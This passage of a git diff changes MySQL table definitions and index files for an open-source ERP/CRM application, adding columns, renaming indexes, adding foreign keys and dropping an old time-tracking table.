+-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see https://www.gnu.org/licenses/. + + +CREATE TABLE llx_element_time( + -- BEGIN MODULEBUILDER FIELDS + rowid integer AUTO_INCREMENT PRIMARY KEY NOT NULL, + fk_element integer NOT NULL, + elementtype varchar(32) NOT NULL, + element_date date, + element_datehour datetime, + element_date_withhour integer, + element_duration double, + fk_product integer, + fk_user integer, + thm double(24,8), + invoice_id integer DEFAULT NULL, + invoice_line_id integer DEFAULT NULL, + intervention_id integer DEFAULT NULL, + intervention_line_id integer DEFAULT NULL, + import_key varchar(14), + datec datetime, + tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + note text + -- END MODULEBUILDER FIELDS +) ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_eventorganization_conferenceorboothattendee.sql b/htdocs/install/mysql/tables/llx_eventorganization_conferenceorboothattendee.sql index 973c738a076..0b5654ff3de 100644 --- a/htdocs/install/mysql/tables/llx_eventorganization_conferenceorboothattendee.sql +++ b/htdocs/install/mysql/tables/llx_eventorganization_conferenceorboothattendee.sql @@ -35,6 +35,7 @@ CREATE TABLE llx_eventorganization_conferenceorboothattendee( fk_user_creat integer, fk_user_modif integer, last_main_doc varchar(255), + ip varchar(250), --ip used to create record (for public submission page) import_key varchar(14), model_pdf varchar(255), status smallint NOT NULL diff --git a/htdocs/install/mysql/tables/llx_expeditiondet.sql b/htdocs/install/mysql/tables/llx_expeditiondet.sql index 4a8a5423ce3..cccee9e5747 100644 --- a/htdocs/install/mysql/tables/llx_expeditiondet.sql +++ b/htdocs/install/mysql/tables/llx_expeditiondet.sql @@ -16,6 +16,7 @@ -- You should have received a copy of the GNU General Public License -- along with this program. If not, see . -- +-- doe not contains the batch -- =================================================================== create table llx_expeditiondet diff --git a/htdocs/install/mysql/tables/llx_expeditiondet_batch.sql b/htdocs/install/mysql/tables/llx_expeditiondet_batch.sql index 43b64451364..6cedc0b5a32 100644 --- a/htdocs/install/mysql/tables/llx_expeditiondet_batch.sql +++ b/htdocs/install/mysql/tables/llx_expeditiondet_batch.sql @@ -14,7 +14,9 @@ -- You should have received a copy of the GNU General Public License -- along with this program. If not, see . -- +-- Similar for supplier to llx_commande_fournisseur_dispatch=llx_receptiondet_batch -- ============================================================================ + CREATE TABLE llx_expeditiondet_batch ( rowid integer AUTO_INCREMENT PRIMARY KEY, fk_expeditiondet int NOT NULL, @@ -22,6 +24,6 @@ CREATE TABLE llx_expeditiondet_batch ( sellby date DEFAULT NULL, batch varchar(128) DEFAULT NULL, qty double NOT NULL DEFAULT '0', - fk_origin_stock integer NOT NULL + fk_origin_stock integer NOT NULL -- id into table llx_product_batch (llx_product_batch may be renamed into llx_product_stock_batch in another version). TODO We should add and use instead a fk_warehouse field ) ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_facture.sql b/htdocs/install/mysql/tables/llx_facture.sql index 7377d7803a7..e1c82e62f2d 100644 --- a/htdocs/install/mysql/tables/llx_facture.sql +++ b/htdocs/install/mysql/tables/llx_facture.sql @@ -39,7 +39,7 @@ create table llx_facture date_pointoftax date DEFAULT NULL, -- date point of tax (for GB) date_valid date, -- date validation tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, -- last modification date - date_closing datetime, -- date de cloture + date_closing datetime, -- date de cloture paye smallint DEFAULT 0 NOT NULL, remise_percent real DEFAULT 0, -- remise relative @@ -62,7 +62,7 @@ create table llx_facture fk_user_author integer, -- user making creation fk_user_modif integer, -- user making last change fk_user_valid integer, -- user validating - fk_user_closing integer, -- user closing + fk_user_closing integer, -- user closing module_source varchar(32), -- name of module when invoice generated by a dedicated module (POS, ...) pos_source varchar(32), -- numero of POS terminal when order is generated by a POS module, IDsession@IDwebsite when order is generated for a website basket. @@ -81,18 +81,20 @@ create table llx_facture note_private text, note_public text, model_pdf varchar(255), - last_main_doc varchar(255), -- relative filepath+filename of last main generated document + last_main_doc varchar(255), -- relative filepath+filename of last main generated document fk_incoterms integer, -- for incoterms location_incoterms varchar(255), -- for incoterms fk_transport_mode integer, -- for intracomm report - situation_cycle_ref smallint, -- situation cycle reference. A key that is similar for all the serie. + prorata_discount real DEFAULT NULL, -- % of the prorata discount (to know how to add prorata discount lines for each vat rate in the invoice) + + situation_cycle_ref integer, -- situation cycle reference. A key that is similar for all the serie. situation_counter smallint, -- situation counter. The number into the serie: 1, 2, ... situation_final smallint, -- 0 by default, 1 it if is the final invoice. - retained_warranty real DEFAULT NULL, -- % of retained warranty + retained_warranty real DEFAULT NULL, -- % of the retained warranty (to calculate the amount to pay later) retained_warranty_date_limit date DEFAULT NULL, retained_warranty_fk_cond_reglement integer DEFAULT NULL, -- payment condition of retained warranty @@ -100,9 +102,9 @@ create table llx_facture extraparams varchar(255), -- for other parameters with json format fk_multicurrency integer, - multicurrency_code varchar(3), + multicurrency_code varchar(3), multicurrency_tx double(24,8) DEFAULT 1, - multicurrency_total_ht double(24,8) DEFAULT 0, + multicurrency_total_ht double(24,8) DEFAULT 0, multicurrency_total_tva double(24,8) DEFAULT 0, multicurrency_total_ttc double(24,8) DEFAULT 0 )ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_facture_fourn_det.sql b/htdocs/install/mysql/tables/llx_facture_fourn_det.sql index 30f57fa184b..8daf658fa68 100644 --- a/htdocs/install/mysql/tables/llx_facture_fourn_det.sql +++ b/htdocs/install/mysql/tables/llx_facture_fourn_det.sql @@ -24,7 +24,7 @@ create table llx_facture_fourn_det fk_facture_fourn integer NOT NULL, fk_parent_line integer NULL, fk_product integer NULL, - ref varchar(50), -- supplier product ref + ref varchar(128), -- supplier product ref label varchar(255), -- product label description text, pu_ht double(24,8), -- unit price excluding tax diff --git a/htdocs/install/mysql/tables/llx_inventory_extrafields.key.sql b/htdocs/install/mysql/tables/llx_inventory_extrafields-stock.key.sql similarity index 100% rename from htdocs/install/mysql/tables/llx_inventory_extrafields.key.sql rename to htdocs/install/mysql/tables/llx_inventory_extrafields-stock.key.sql diff --git a/htdocs/install/mysql/tables/llx_inventory_extrafields.sql b/htdocs/install/mysql/tables/llx_inventory_extrafields-stock.sql similarity index 100% rename from htdocs/install/mysql/tables/llx_inventory_extrafields.sql rename to htdocs/install/mysql/tables/llx_inventory_extrafields-stock.sql diff --git a/htdocs/install/mysql/tables/llx_mailing_cibles-mailing.sql b/htdocs/install/mysql/tables/llx_mailing_cibles-mailing.sql index da0b6c1683a..3c38eedaaaf 100644 --- a/htdocs/install/mysql/tables/llx_mailing_cibles-mailing.sql +++ b/htdocs/install/mysql/tables/llx_mailing_cibles-mailing.sql @@ -32,7 +32,7 @@ create table llx_mailing_cibles statut smallint NOT NULL DEFAULT 0, -- -1 = error, 0 = not sent, ... source_url varchar(255), source_id integer, - source_type varchar(16), + source_type varchar(32), date_envoi datetime, tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, error_text varchar(255) -- text with error if statut is -1 diff --git a/htdocs/install/mysql/tables/llx_notify_def.sql b/htdocs/install/mysql/tables/llx_notify_def.sql index aed10027347..65274cad266 100644 --- a/htdocs/install/mysql/tables/llx_notify_def.sql +++ b/htdocs/install/mysql/tables/llx_notify_def.sql @@ -27,5 +27,8 @@ create table llx_notify_def fk_soc integer, fk_contact integer, fk_user integer, + email varchar(255), -- for fixed email notif + threshold double(24,8), -- threshold on an amount to qualify the notification + context varchar(128), -- only for a particular contet type varchar(16) DEFAULT 'email' -- 'browser', 'email', 'sms', 'webservice', ... )ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_opensurvey_comments-opensurvey.sql b/htdocs/install/mysql/tables/llx_opensurvey_comments-opensurvey.sql index 52d938b7c47..bbee48ad0cf 100644 --- a/htdocs/install/mysql/tables/llx_opensurvey_comments-opensurvey.sql +++ b/htdocs/install/mysql/tables/llx_opensurvey_comments-opensurvey.sql @@ -20,6 +20,8 @@ CREATE TABLE llx_opensurvey_comments ( id_sondage CHAR(16) NOT NULL, comment text NOT NULL, tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - usercomment text + usercomment text, + date_creation datetime NOT NULL, + ip varchar(250) --ip used to create record (for public submission page) ) ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_opensurvey_user_studs-opensurvey.sql b/htdocs/install/mysql/tables/llx_opensurvey_user_studs-opensurvey.sql index 03ad9b35ec5..5d3b132c8dd 100644 --- a/htdocs/install/mysql/tables/llx_opensurvey_user_studs-opensurvey.sql +++ b/htdocs/install/mysql/tables/llx_opensurvey_user_studs-opensurvey.sql @@ -19,6 +19,8 @@ CREATE TABLE llx_opensurvey_user_studs ( id_users INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, nom VARCHAR(64) NOT NULL, id_sondage VARCHAR(16) NOT NULL, - reponses VARCHAR(100) NOT NULL, -- Not used for 'F' surveys - tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP + reponses VARCHAR(200) NOT NULL, -- Not used for 'F' surveys + tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + date_creation datetime NOT NULL, + ip varchar(250) --ip used to create record (for public submission page) ) ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_payment_salary.sql b/htdocs/install/mysql/tables/llx_payment_salary.sql index 308e70effc2..0dd24eb199d 100644 --- a/htdocs/install/mysql/tables/llx_payment_salary.sql +++ b/htdocs/install/mysql/tables/llx_payment_salary.sql @@ -23,7 +23,7 @@ create table llx_payment_salary tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, datec datetime, -- Create date fk_user integer DEFAULT NULL, - datep date, -- payment date + datep datetime, -- payment date datev date, -- value date (this field should not be here, only into bank tables) salary double(24,8), -- salary of user when payment was done amount double(24,8) NOT NULL DEFAULT 0, diff --git a/htdocs/install/mysql/tables/llx_prelevement.key.sql b/htdocs/install/mysql/tables/llx_prelevement.key.sql index c3234b7756a..c0178995895 100644 --- a/htdocs/install/mysql/tables/llx_prelevement.key.sql +++ b/htdocs/install/mysql/tables/llx_prelevement.key.sql @@ -21,5 +21,5 @@ ALTER TABLE llx_prelevement ADD INDEX idx_prelevement_fk_prelevement_lignes (fk_prelevement_lignes); -ALTER TABLE llx_prelevement ADD CONSTRAINT fk_prelevement_facture_fk_prelevement_lignes FOREIGN KEY (fk_prelevement_lignes) REFERENCES llx_prelevement_lignes (rowid); +ALTER TABLE llx_prelevement ADD CONSTRAINT fk_prelevement_fk_prelevement_lignes FOREIGN KEY (fk_prelevement_lignes) REFERENCES llx_prelevement_lignes (rowid); diff --git a/htdocs/install/mysql/tables/llx_prelevement_bons.sql b/htdocs/install/mysql/tables/llx_prelevement_bons.sql index fc7f3f2f538..086791db825 100644 --- a/htdocs/install/mysql/tables/llx_prelevement_bons.sql +++ b/htdocs/install/mysql/tables/llx_prelevement_bons.sql @@ -20,24 +20,25 @@ -- -- Direct debit or credit orders -- +-- statut 0 : draft -- statut 1 : sent to the bank -- statut 2 : paid -- create table llx_prelevement_bons ( - rowid integer AUTO_INCREMENT PRIMARY KEY, - type varchar(16) DEFAULT 'debit-order', -- 'debit-order' or 'bank-transfer' - ref varchar(12), -- reference - entity integer DEFAULT 1 NOT NULL, -- multi company id - datec datetime, -- date de creation - amount double(24,8) DEFAULT 0, -- montant total du prelevement - statut smallint DEFAULT 0, -- statut - credite smallint DEFAULT 0, -- indique si le prelevement a ete credite - note text, - date_trans datetime, -- date de transmission a la banque - method_trans smallint, -- methode de transmission - fk_user_trans integer, -- user qui a effectue la transmission - date_credit datetime, -- date de credit sur le compte - fk_user_credit integer -- user qui a remonte l'info de credit - + rowid integer AUTO_INCREMENT PRIMARY KEY, + type varchar(16) DEFAULT 'debit-order', -- 'debit-order' or 'bank-transfer' + ref varchar(12), -- reference + entity integer DEFAULT 1 NOT NULL, -- multi company id + datec datetime, -- date de creation + amount double(24,8) DEFAULT 0, -- montant total du prelevement + statut smallint DEFAULT 0, -- statut + credite smallint DEFAULT 0, -- indique si le prelevement a ete credite + note text, + date_trans datetime, -- date de transmission a la banque + method_trans smallint, -- methode de transmission + fk_user_trans integer, -- user qui a effectue la transmission + date_credit datetime, -- date de credit sur le compte + fk_user_credit integer, -- user qui a remonte l'info de credit + fk_bank_account integer DEFAULT NULL )ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_prelevement_demande.key.sql b/htdocs/install/mysql/tables/llx_prelevement_demande.key.sql index cd4ed476635..5e047323189 100644 --- a/htdocs/install/mysql/tables/llx_prelevement_demande.key.sql +++ b/htdocs/install/mysql/tables/llx_prelevement_demande.key.sql @@ -17,6 +17,6 @@ -- =================================================================== -ALTER TABLE llx_prelevement_demande ADD INDEX idx_prelevement_facture_demande_fk_facture (fk_facture); -ALTER TABLE llx_prelevement_demande ADD INDEX idx_prelevement_facture_demande_fk_facture_fourn (fk_facture_fourn); +ALTER TABLE llx_prelevement_demande ADD INDEX idx_prelevement_demande_fk_facture (fk_facture); +ALTER TABLE llx_prelevement_demande ADD INDEX idx_prelevement_demande_fk_facture_fourn (fk_facture_fourn); diff --git a/htdocs/install/mysql/tables/llx_prelevement_demande.sql b/htdocs/install/mysql/tables/llx_prelevement_demande.sql index b0b1b87f77f..2229b5cc203 100644 --- a/htdocs/install/mysql/tables/llx_prelevement_demande.sql +++ b/htdocs/install/mysql/tables/llx_prelevement_demande.sql @@ -36,6 +36,8 @@ create table llx_prelevement_demande code_guichet varchar(6), number varchar(255), cle_rib varchar(5), + + type varchar(12) DEFAULT '', ext_payment_id varchar(255), ext_payment_site varchar(128) )ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_product.sql b/htdocs/install/mysql/tables/llx_product.sql index 0c2fdce5152..2267113e987 100644 --- a/htdocs/install/mysql/tables/llx_product.sql +++ b/htdocs/install/mysql/tables/llx_product.sql @@ -57,7 +57,7 @@ create table llx_product fk_user_modif integer, -- user making last change tosell tinyint DEFAULT 1, -- Product you sell tobuy tinyint DEFAULT 1, -- Product you buy - onportal tinyint DEFAULT 0, -- If it is a product you sell and you want to sell it on portal (module website must be on) + onportal tinyint DEFAULT 0, -- If it is a product you sell and you want to sell it from internal portal (module 'portal') tobatch tinyint DEFAULT 0 NOT NULL, -- Is it a product that need a batch management (eat-by or lot management) sell_or_eat_by_mandatory tinyint DEFAULT 0 NOT NULL, -- Make sell-by or eat-by date mandatory batch_mask varchar(32) DEFAULT NULL, -- If the product has batch feature, you may want to use a batch mask per product diff --git a/htdocs/install/mysql/tables/llx_product_attribute_combination_price_level.key.sql b/htdocs/install/mysql/tables/llx_product_attribute_combination_price_level.key.sql index 4c191193754..f13f1ed9d86 100644 --- a/htdocs/install/mysql/tables/llx_product_attribute_combination_price_level.key.sql +++ b/htdocs/install/mysql/tables/llx_product_attribute_combination_price_level.key.sql @@ -17,5 +17,5 @@ -- ============================================================================ -ALTER TABLE llx_product_attribute_combination_price_level ADD UNIQUE( fk_product_attribute_combination, fk_price_level); +ALTER TABLE llx_product_attribute_combination_price_level ADD UNIQUE INDEX uk_prod_att_comb_price_level(fk_product_attribute_combination, fk_price_level); diff --git a/htdocs/install/mysql/tables/llx_product_fournisseur_price.sql b/htdocs/install/mysql/tables/llx_product_fournisseur_price.sql index 8e61de28a73..f4a90409958 100644 --- a/htdocs/install/mysql/tables/llx_product_fournisseur_price.sql +++ b/htdocs/install/mysql/tables/llx_product_fournisseur_price.sql @@ -47,7 +47,6 @@ create table llx_product_fournisseur_price info_bits integer NOT NULL DEFAULT 0, fk_user integer, fk_supplier_price_expression integer, -- Link to the rule for dynamic price calculation - import_key varchar(14), -- Import key delivery_time_days integer, supplier_reputation varchar(10), packaging real DEFAULT NULL, @@ -55,5 +54,7 @@ create table llx_product_fournisseur_price multicurrency_code varchar(3), multicurrency_tx double(24,8) DEFAULT 1, multicurrency_unitprice double(24,8) DEFAULT NULL, -- unit price without tax - multicurrency_price double(24,8) DEFAULT NULL + multicurrency_price double(24,8) DEFAULT NULL, + import_key varchar(14), -- Import key + status integer DEFAULT 1 )ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_product_fournisseur_price_log.key.sql b/htdocs/install/mysql/tables/llx_product_fournisseur_price_log.key.sql new file mode 100644 index 00000000000..63949eeaf53 --- /dev/null +++ b/htdocs/install/mysql/tables/llx_product_fournisseur_price_log.key.sql @@ -0,0 +1,21 @@ +-- ============================================================================ +-- Copyright (C) 2023 Frédéric France +-- +-- This program is free software; you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation; either version 3 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- ============================================================================ + +ALTER TABLE llx_product_fournisseur_price_log ADD INDEX idx_product_fournisseur_price_log_fk_product_fournisseur (fk_product_fournisseur); +ALTER TABLE llx_product_fournisseur_price_log ADD INDEX idx_product_fournisseur_price_log_fk_user (fk_user); +--ALTER TABLE llx_product_fournisseur_price_log ADD INDEX idx_product_fournisseur_price_log_fk_multicurrency (fk_multicurrency); diff --git a/htdocs/install/mysql/tables/llx_product_lot.sql b/htdocs/install/mysql/tables/llx_product_lot.sql index 4e6914884ac..03a1ebec09a 100644 --- a/htdocs/install/mysql/tables/llx_product_lot.sql +++ b/htdocs/install/mysql/tables/llx_product_lot.sql @@ -31,6 +31,8 @@ CREATE TABLE llx_product_lot ( scrapping_date datetime NULL, -- date when we decided to scrap all products of this lot barcode varchar(180) DEFAULT NULL, -- barcode fk_barcode_type integer DEFAULT NULL, -- barcode type + model_pdf varchar(255), + last_main_doc varchar(255), -- relative filepath+filename of last main generated document datec datetime, tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, fk_user_creat integer, diff --git a/htdocs/install/mysql/tables/llx_product_stock.key.sql b/htdocs/install/mysql/tables/llx_product_stock.key.sql index 358a0c74f19..b07719a5478 100644 --- a/htdocs/install/mysql/tables/llx_product_stock.key.sql +++ b/htdocs/install/mysql/tables/llx_product_stock.key.sql @@ -20,5 +20,7 @@ ALTER TABLE llx_product_stock ADD INDEX idx_product_stock_fk_product (fk_product); ALTER TABLE llx_product_stock ADD INDEX idx_product_stock_fk_entrepot (fk_entrepot); +ALTER TABLE llx_product_stock ADD CONSTRAINT fk_product_product_rowid FOREIGN KEY (fk_product) REFERENCES llx_product (rowid); +ALTER TABLE llx_product_stock ADD CONSTRAINT fk_entrepot_entrepot_rowid FOREIGN KEY (fk_entrepot) REFERENCES llx_entrepot (rowid); ALTER TABLE llx_product_stock ADD UNIQUE INDEX uk_product_stock (fk_product,fk_entrepot); diff --git a/htdocs/install/mysql/tables/llx_projet.key.sql b/htdocs/install/mysql/tables/llx_projet.key.sql index 4b9dd008943..26869454c41 100644 --- a/htdocs/install/mysql/tables/llx_projet.key.sql +++ b/htdocs/install/mysql/tables/llx_projet.key.sql @@ -22,4 +22,8 @@ ALTER TABLE llx_projet ADD UNIQUE INDEX uk_projet_ref (ref, entity); ALTER TABLE llx_projet ADD INDEX idx_projet_fk_soc (fk_soc); +ALTER TABLE llx_projet ADD INDEX idx_projet_ref (ref); +ALTER TABLE llx_projet ADD INDEX idx_projet_fk_statut (fk_statut); +ALTER TABLE llx_projet ADD INDEX idx_projet_fk_opp_status (fk_opp_status); + ALTER TABLE llx_projet ADD CONSTRAINT fk_projet_fk_soc FOREIGN KEY (fk_soc) REFERENCES llx_societe (rowid); diff --git a/htdocs/install/mysql/tables/llx_projet.sql b/htdocs/install/mysql/tables/llx_projet.sql index 5b3df54ba14..531f0992f2c 100644 --- a/htdocs/install/mysql/tables/llx_projet.sql +++ b/htdocs/install/mysql/tables/llx_projet.sql @@ -19,44 +19,46 @@ create table llx_projet ( - rowid integer AUTO_INCREMENT PRIMARY KEY, - fk_soc integer, - datec datetime, -- date creation project - tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, - dateo date, -- date start project - datee date, -- date end project - ref varchar(50), - entity integer DEFAULT 1 NOT NULL, -- multi company id - title varchar(255) NOT NULL, - description text, - fk_user_creat integer NOT NULL, -- createur du projet - fk_user_modif integer, - public integer, -- project is public or not - fk_statut integer DEFAULT 0 NOT NULL, -- open or close - fk_opp_status integer DEFAULT NULL, -- if project is used to manage opportunities - opp_percent double(5,2), - fk_opp_status_end integer DEFAULT NULL, -- if project is used to manage opportunities (the opportunity status the project has when set to lose) - date_close datetime DEFAULT NULL, - fk_user_close integer DEFAULT NULL, - note_private text, - note_public text, - email_msgid varchar(175), -- if project or lead is created by email collector, we store here MSG ID. Do not use a too large value, it generates trouble with unique index - --budget_days real, -- budget in days is sum of field planned_workload of tasks - opp_amount double(24,8), - budget_amount double(24,8), + rowid integer AUTO_INCREMENT PRIMARY KEY, + fk_soc integer, + datec datetime, -- date creation project + tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + dateo date, -- date start project + datee date, -- date end project + ref varchar(50), + entity integer DEFAULT 1 NOT NULL, -- multi company id + title varchar(255) NOT NULL, + description text, + fk_user_creat integer NOT NULL, -- createur du projet + fk_user_modif integer, + public integer, -- project is public or not + fk_statut integer DEFAULT 0 NOT NULL, -- open or close + fk_opp_status integer DEFAULT NULL, -- if project is used to manage opportunities + opp_percent double(5,2), + fk_opp_status_end integer DEFAULT NULL, -- if project is used to manage opportunities (the opportunity status the project has when set to lose) + date_close datetime DEFAULT NULL, + fk_user_close integer DEFAULT NULL, + note_private text, + note_public text, + email_msgid varchar(175), -- if project or lead is created by email collector, we store here MSG ID. Do not use a too large value, it generates trouble with unique index + --budget_days real, -- budget in days is sum of field planned_workload of tasks + opp_amount double(24,8), + budget_amount double(24,8), usage_opportunity integer DEFAULT 0, -- Set to 1 if project is used to follow an opportunity usage_task integer DEFAULT 1, -- Set to 1 if project is used to manage tasks and/or record timesheet usage_bill_time integer DEFAULT 0, -- Set to 1 if time spent must be converted into invoices usage_organize_event integer DEFAULT 0, -- Set to 1 if you want to use project to organize an event or receive attendees registration - date_start_event datetime, -- date start event - date_end_event datetime, -- date end event - location varchar(255), -- location + date_start_event datetime, -- date start event + date_end_event datetime, -- date end event + location varchar(255), -- location accept_conference_suggestions integer DEFAULT 0, -- Set to 1 if you want to allow unknown people to suggest conferences - accept_booth_suggestions integer DEFAULT 0, -- Set to 1 if you want to Allow unknown people to suggest booth + accept_booth_suggestions integer DEFAULT 0, -- Set to 1 if you want to Allow unknown people to suggest booth max_attendees integer DEFAULT 0, price_registration double(24,8), - price_booth double(24,8), - model_pdf varchar(255), - last_main_doc varchar(255), -- relative filepath+filename of last main generated document - import_key varchar(14) -- Import key + price_booth double(24,8), + model_pdf varchar(255), + ip varchar(250), -- ip used to create record (for public submission page) + last_main_doc varchar(255), -- relative filepath+filename of last main generated document + import_key varchar(14), -- Import key + extraparams varchar(255) -- to save other parameters with json format )ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_projet_task_time.sql b/htdocs/install/mysql/tables/llx_projet_task_time.sql deleted file mode 100644 index e91e50b5721..00000000000 --- a/htdocs/install/mysql/tables/llx_projet_task_time.sql +++ /dev/null @@ -1,38 +0,0 @@ --- =========================================================================== --- Copyright (C) 2005 Rodolphe Quiedeville --- --- This program is free software; you can redistribute it and/or modify --- it under the terms of the GNU General Public License as published by --- the Free Software Foundation; either version 3 of the License, or --- (at your option) any later version. --- --- This program is distributed in the hope that it will be useful, --- but WITHOUT ANY WARRANTY; without even the implied warranty of --- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the --- GNU General Public License for more details. --- --- You should have received a copy of the GNU General Public License --- along with this program. If not, see . --- --- =========================================================================== - -create table llx_projet_task_time -( - rowid integer AUTO_INCREMENT PRIMARY KEY, - fk_task integer NOT NULL, - task_date date, -- only the day - task_datehour datetime, -- day + hour - task_date_withhour integer DEFAULT 0, -- 0 by default, 1 if date was entered with start hour - task_duration double, - fk_product integer NULL, - fk_user integer, - thm double(24,8), - invoice_id integer DEFAULT NULL, -- If we need to invoice each line of timespent, we can save invoice id here - invoice_line_id integer DEFAULT NULL, -- If we need to invoice each line of timespent, we can save invoice line id here - intervention_id integer DEFAULT NULL, -- If we need to have an intervention line for each line of timespent, we can save intervention id here - intervention_line_id integer DEFAULT NULL, -- If we need to have an intervention line of timespent line, we can save intervention line id here - import_key varchar(14), -- Import key - datec datetime, -- date creation time - tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, -- last modification date - note text -- A comment -)ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_recruitment_recruitmentcandidature-recruitment.sql b/htdocs/install/mysql/tables/llx_recruitment_recruitmentcandidature-recruitment.sql index 8d5dd3bd14f..676d5ade157 100644 --- a/htdocs/install/mysql/tables/llx_recruitment_recruitmentcandidature-recruitment.sql +++ b/htdocs/install/mysql/tables/llx_recruitment_recruitmentcandidature-recruitment.sql @@ -27,6 +27,7 @@ CREATE TABLE llx_recruitment_recruitmentcandidature( tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, fk_user_creat integer NOT NULL, fk_user_modif integer, + fk_user integer, -- Id of user created from the job application import_key varchar(14), model_pdf varchar(255), status smallint NOT NULL, diff --git a/htdocs/install/mysql/tables/llx_societe.sql b/htdocs/install/mysql/tables/llx_societe.sql index 7f198db6042..47671f4e7c3 100644 --- a/htdocs/install/mysql/tables/llx_societe.sql +++ b/htdocs/install/mysql/tables/llx_societe.sql @@ -44,7 +44,7 @@ create table llx_societe town varchar(50), -- town fk_departement integer DEFAULT 0, -- fk_pays integer DEFAULT 0, -- - fk_account integer DEFAULT 0, -- + fk_account integer DEFAULT 0, -- default bank account phone varchar(20), -- phone number fax varchar(20), -- fax number url varchar(255), -- diff --git a/htdocs/install/mysql/tables/llx_societe_account.sql b/htdocs/install/mysql/tables/llx_societe_account.sql index b200d4f3854..56eb4eb1985 100644 --- a/htdocs/install/mysql/tables/llx_societe_account.sql +++ b/htdocs/install/mysql/tables/llx_societe_account.sql @@ -1,4 +1,4 @@ --- Copyright (C) 2016 Laurent Destailleur +-- Copyright (C) 2016-2022 Laurent Destailleur -- -- This program is free software: you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by @@ -19,16 +19,17 @@ CREATE TABLE llx_societe_account( -- BEGIN MODULEBUILDER FIELDS rowid integer AUTO_INCREMENT PRIMARY KEY NOT NULL, - entity integer DEFAULT 1, - login varchar(128) NOT NULL, + entity integer DEFAULT 1, + + login varchar(128) NOT NULL, -- a login string into website or external system pass_encoding varchar(24), - pass_crypted varchar(128), + pass_crypted varchar(128), -- the hashed password pass_temp varchar(128), -- temporary password when asked for forget password - fk_soc integer, - fk_website integer, -- id of local web site - site varchar(128), -- name of external web site - site_account varchar(128), -- a key to identify the account on external web site - key_account varchar(128), -- the id of third party in external web site (for site_account if site_account defined) + fk_soc integer, -- if entry is linked to a thirdparty + fk_website integer, -- id of local web site (if dk_website is filled, site is empty) + site varchar(128), -- name of external web site (if site is filled, fk_website is empty) + site_account varchar(128), -- a key to identify the account on external web site (for example: 'stripe', 'paypal', 'myextapp') + key_account varchar(128), -- the id of an account in external web site (for site_account if site_account defined. some sites needs both an account name and a login that is different) note_private text, date_last_login datetime, date_previous_login datetime, diff --git a/htdocs/install/mysql/tables/llx_socpeople.sql b/htdocs/install/mysql/tables/llx_socpeople.sql index 59bd22ddfdc..5cad6a4bdc3 100644 --- a/htdocs/install/mysql/tables/llx_socpeople.sql +++ b/htdocs/install/mysql/tables/llx_socpeople.sql @@ -58,7 +58,7 @@ create table llx_socpeople photo varchar(255), no_email smallint NOT NULL DEFAULT 0, -- deprecated. Use table llx_mailing_unsubscribe instead priv smallint NOT NULL DEFAULT 0, - fk_prospectcontactlevel varchar(12), -- prospect level (in llx_c_prospectcontactlevel) + fk_prospectlevel varchar(12), -- prospect level (in llx_c_prospectcontactlevel) fk_stcommcontact integer DEFAULT 0 NOT NULL, -- commercial statut fk_user_creat integer DEFAULT 0, -- user qui a creel'enregistrement fk_user_modif integer, diff --git a/htdocs/install/mysql/tables/llx_supplier_proposal.key.sql b/htdocs/install/mysql/tables/llx_supplier_proposal.key.sql new file mode 100644 index 00000000000..350338f833d --- /dev/null +++ b/htdocs/install/mysql/tables/llx_supplier_proposal.key.sql @@ -0,0 +1,34 @@ +-- ============================================================================ +-- Copyright (C) 2023 Laurent Destailleur +-- +-- This program is free software; you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation; either version 3 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- ============================================================================ + + +ALTER TABLE llx_supplier_proposal ADD UNIQUE INDEX uk_supplier_proposal_ref (ref, entity); + +ALTER TABLE llx_supplier_proposal ADD INDEX idx_supplier_proposal_fk_soc (fk_soc); +ALTER TABLE llx_supplier_proposal ADD INDEX idx_supplier_proposal_fk_user_author (fk_user_author); +ALTER TABLE llx_supplier_proposal ADD INDEX idx_supplier_proposal_fk_user_valid (fk_user_valid); +ALTER TABLE llx_supplier_proposal ADD 